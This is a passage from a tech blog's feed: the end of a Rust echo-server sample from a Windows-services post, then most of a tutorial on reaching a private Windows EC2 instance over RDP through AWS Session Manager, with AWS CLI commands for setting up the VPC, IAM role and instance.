&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;token&lt;/span&gt;: &lt;span class="nc"&gt;CancellationToken&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;let&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;mut&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="k"&gt;u8&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1024&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// Keep reading until token is cancelled (or client disconnects or we have
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// read/write errors). Note that if you&amp;#39;re buffering some data, you might
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// want to flush before returning.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;loop&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;tokio&lt;/span&gt;::&lt;span class="fm"&gt;select!&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;_&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;token&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;cancelled&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="fm"&gt;println!&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;&lt;/span&gt;&lt;span class="si"&gt;{addr}&lt;/span&gt;&lt;span class="s"&gt;: shutdown signal received, closing &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;&lt;span class="s"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt; connection.&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;let&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="fm"&gt;format!&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;Bye &lt;/span&gt;&lt;span class="si"&gt;{addr}&lt;/span&gt;&lt;span class="s"&gt;...&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;let&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;Err&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;stream&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;write_all&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;as_bytes&lt;/span&gt;&lt;span class="p"&gt;()).&lt;/span&gt;&lt;span class="k"&gt;await&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="fm"&gt;eprintln!&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;&lt;/span&gt;&lt;span class="si"&gt;{addr}&lt;/span&gt;&lt;span class="s"&gt;: write error: &lt;/span&gt;&lt;span class="si"&gt;{e}&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;stream&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;read&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="k"&gt;mut&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;match&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// Client disconnected
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;Ok&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="fm"&gt;println!&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;&lt;/span&gt;&lt;span class="si"&gt;{addr}&lt;/span&gt;&lt;span class="s"&gt;: client disconnected&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;Ok&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// Echo back what we received
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;let&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;mut&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;Vec&lt;/span&gt;::&lt;span class="n"&gt;with_capacity&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;extend_from_slice&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;Echo: &amp;#34;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;extend_from_slice&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="o"&gt;..&lt;/span&gt;&lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;let&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;Err&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;stream&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;write_all&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="k"&gt;await&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="fm"&gt;eprintln!&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;&lt;/span&gt;&lt;span class="si"&gt;{addr}&lt;/span&gt;&lt;span class="s"&gt;: write error: &lt;/span&gt;&lt;span class="si"&gt;{e}&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;Err&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="fm"&gt;eprintln!&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;&lt;/span&gt;&lt;span class="si"&gt;{addr}&lt;/span&gt;&lt;span class="s"&gt;: read error: &lt;/span&gt;&lt;span class="si"&gt;{e}&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;And this completes the sample project and little exploration into Windows services. I learned a bunch of new things and hope the descriptions and sample code come in helpful to you as well.&lt;/p&gt;
&lt;p&gt;As mentioned in the beginning, you can find the &lt;a href="https://github.com/davidhamann/windows-service-experiment"&gt;full code here on GitHub&lt;/a&gt;.&lt;/p&gt;</description></item><item><title>Connecting to a private Windows EC2 instance without exposing RDP to the internet</title><link>https://davidhamann.de/2024/02/12/connecting-to-private-ec2-instance-without-exposing-rdp-to-internet/</link><pubDate>Mon, 12 Feb 2024 00:00:00 +0000</pubDate><guid>https://davidhamann.de/2024/02/12/connecting-to-private-ec2-instance-without-exposing-rdp-to-internet/</guid><description>&lt;h2 id="the-problem-statement"&gt;The problem statement&lt;/h2&gt;
&lt;p&gt;Let&amp;rsquo;s say you have a (Windows or Linux) EC2 instance in a private subnet and want to access it interactively. There are several ways to do this:&lt;/p&gt;
&lt;p&gt;You could use a bastion host in your public subnet, harden it and limit access to a certain IP range, and then tunnel your SSH or RDP (or any other TCP) traffic through this host using SSH.&lt;/p&gt;
&lt;p&gt;Alternatively, you could set up a VPN server through which to connect to your instance.&lt;/p&gt;
&lt;p&gt;Another option for RDP could be an RDP gateway (to not expose RDP directly).&lt;/p&gt;
&lt;p&gt;Or you could just care a little less and put your instance in a public subnet, make it directly addressable, lock down source IPs with a security group, and live with the risk of not having an additional layer in front.&lt;/p&gt;
&lt;p&gt;Any other idea?&lt;/p&gt;
&lt;h2 id="aws-systems-manager-session-manager"&gt;AWS Systems Manager Session Manager&lt;/h2&gt;
&lt;p&gt;There&amp;rsquo;s actually another relatively straightforward way to connect to your instance – AWS managed and without the requirement to open ports to any of your resources, manage SSH keys or maintain your own bastion hosts.&lt;/p&gt;
&lt;p&gt;With AWS Systems Manager Session Manager, you (or any IAM user with permission) can open a session to your private instance either from the AWS console in the browser or through your local machine. You can even get a connection history and shell logs of established sessions and do your user management as you are already used to in AWS IAM.&lt;/p&gt;
&lt;p&gt;If the last paragraph sounded like an advertisement, it wasn&amp;rsquo;t supposed to :-) I&amp;rsquo;m generally a fan of using established and vendor-independent tools and procedures; so if you already have everything set up and an established secure workflow with a VPN or bastion host, it may not be too interesting for you. If your resources are primarily on AWS, however, it is still a useful service to know about.&lt;/p&gt;
&lt;p&gt;Since I just had this use case for a Windows server to which I also needed GUI access, I wrote down my steps. Let&amp;rsquo;s see how we can practically set up this scenario for RDP.&lt;/p&gt;
&lt;h2 id="what-this-tutorial-is-about"&gt;What this tutorial is about&lt;/h2&gt;
&lt;p&gt;In the following steps we will create a new VPC with a public (i.e. with a route to an internet gateway) and a private subnet.&lt;/p&gt;
&lt;p&gt;For internet access, we will give the private subnet a route to a NAT gateway residing in the public subnet. Then we will continue by creating an instance which can assume a role for Session Manager Management.&lt;/p&gt;
&lt;p&gt;And finally, we will create a port-forwarding session and access our private instance through a local RDP client.&lt;/p&gt;
&lt;div class="notice notice-info"&gt;
 It&amp;rsquo;s also possible to do this without internet access by using VPC endpoints; I think the EC2 instance only needs to have egress port 443 allowed to the SSM gateway endpoints. You can see the Session Manager Agent on the EC2 instance establishing these connections.
&lt;/div&gt;

&lt;p&gt;If you just want to see how to connect, &lt;a href="https://davidhamann.de/2024/02/12/connecting-to-private-ec2-instance-without-exposing-rdp-to-internet/#installing-session-manager-plugin-starting-port-forwarding-session-and-connecting-via-rdp"&gt;jump to the end of the article&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id="creating-vpc-subnets-gateways-routes"&gt;Creating VPC, subnets, gateways, routes&lt;/h2&gt;
&lt;p&gt;Let&amp;rsquo;s create a VPC with a small IP range (adjust as you like), giving us space for about 250 hosts (not counting network, a couple of AWS internal reserved hosts, and broadcast). More than enough as we will actually only have one instance and NAT gateway for this demo setup.&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;aws ec2 create-vpc --cidr-block 10.0.0.0/24 # from now on: vpc-1234
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Next, we create an internet gateway and attach it to our VPC:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;aws ec2 create-internet-gateway # from now on: igw-1234
aws ec2 attach-internet-gateway --internet-gateway-id igw-1234 --vpc-id vpc-1234
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Let&amp;rsquo;s continue by creating two subnets. One public (to which we connect the internet gateway) and one private (where our Windows server will reside). Again, I&amp;rsquo;ll just split the /24 network into two parts, but you might want something else.&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;aws ec2 create-subnet --vpc-id vpc-1234 --cidr-block 10.0.0.0/25 # from now on: subnet-1234 (will become public)
aws ec2 create-subnet --vpc-id vpc-1234 --cidr-block 10.0.0.128/25 # from now on: subnet-5678 (will stay private)
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;To give the private subnet access to the internet, we&amp;rsquo;ll add a NAT gateway and assign it an IP address:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;aws ec2 allocate-address --domain vpc --network-border-group eu-central-1 # from now: eipalloc-1234
aws ec2 create-nat-gateway --subnet-id subnet-1234 --allocation-id eipalloc-1234 # from now on: nat-1234
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;And finally, we create the route table and routes.&lt;/p&gt;
&lt;p&gt;First, for the public subnet:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;aws ec2 create-route-table --vpc-id vpc-1234 # from now on: rtb-1234
aws ec2 associate-route-table --route-table-id rtb-1234 --subnet-id subnet-1234
aws ec2 create-route --route-table-id rtb-1234 --destination-cidr-block &amp;#34;0.0.0.0/0&amp;#34; --gateway-id igw-1234
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;And then for the private subnet:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;aws ec2 create-route-table --vpc-id vpc-1234 # from now on: rtb-5678
aws ec2 associate-route-table --route-table-id rtb-5678 --subnet-id subnet-5678
aws ec2 create-route --route-table-id rtb-5678 --destination-cidr-block &amp;#34;0.0.0.0/0&amp;#34; --nat-gateway-id nat-1234
&lt;/code&gt;&lt;/pre&gt;&lt;div class="notice notice-info"&gt;
 Note that the route tables will additionally always get a default route for destination 10.0.0.0/24 to target local on creation.
&lt;/div&gt;

&lt;h2 id="setting-up-instance-profile-and-creating-windows-server-in-private-subnet"&gt;Setting up instance profile and creating Windows server in private subnet&lt;/h2&gt;
&lt;p&gt;We start out by creating a role with an EC2 trust relationship, such that instances can assume this role.&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;# EC2AssumeRoleSTS.json
{
 &amp;#34;Version&amp;#34;: &amp;#34;2012-10-17&amp;#34;,
 &amp;#34;Statement&amp;#34;: {
 &amp;#34;Effect&amp;#34;: &amp;#34;Allow&amp;#34;,
 &amp;#34;Principal&amp;#34;: {
 &amp;#34;Service&amp;#34;: &amp;#34;ec2.amazonaws.com&amp;#34;
 },
 &amp;#34;Action&amp;#34;: &amp;#34;sts:AssumeRole&amp;#34;
 }
}

aws iam create-role --role-name SSMManagedEC2 --assume-role-policy-document file://EC2AssumeRoleSTS.json
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The first relevant piece for this whole Session Manager scenario is to add the (AWS managed) policy &lt;code&gt;AmazonSSMManagedInstanceCore&lt;/code&gt; (&lt;code&gt;arn:aws:iam::aws:policy/AmazonSSMManagedInstanceCore&lt;/code&gt;) to our role, which enables the AWS Systems Manager core functionality.&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;aws iam attach-role-policy --role-name SSMManagedEC2 --policy arn:aws:iam::aws:policy/AmazonSSMManagedInstanceCore
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;And since we want to use the role for the EC2 instance, we create an instance profile and then attach the role to it:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;aws iam create-instance-profile --instance-profile-name SSMEC2
aws iam add-role-to-instance-profile --instance-profile-name SSMEC2 --role-name SSMManagedEC2
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Finally, we can create our instance in the private subnet and specify the instance type, profile and image (AMI). I&amp;rsquo;m using an AMI for a Windows Server 2022 in eu-central-1 region. You could additionaly also specify a key-pair, but don&amp;rsquo;t have to as you can later access the instance from the browser via the AWS console (Instance -&amp;gt; Connect -&amp;gt; Session Manager) and create your user/change password from there (you&amp;rsquo;ll be dropped into a PowerShell session as a privileged &lt;code&gt;ssm-user&lt;/code&gt;).&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;aws ec2 run-instances --instance-type t2.medium --subnet-id subnet-5678 --image-id ami-0ced908879ca69797 --iam-instance-profile Arn=arn:aws:iam::&amp;lt;your-account-id&amp;gt;:instance-profile/SSMEC2 # from now on: i-1234
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Please note that you have to install the &lt;a href="https://docs.aws.amazon.com/systems-manager/latest/userguide/sysman-install-ssm-win.html"&gt;System Manager Agent&lt;/a&gt; on the instance yourself, if you&amp;rsquo;re not using an AWS provided AMI. For the one mentoned above, no extra steps are required.&lt;/p&gt;
&lt;h2 id="installing-session-manager-plugin-starting-port-forwarding-session-and-connecting-via-rdp"&gt;Installing Session Manager plugin, starting port-forwarding session and connecting via RDP&lt;/h2&gt;
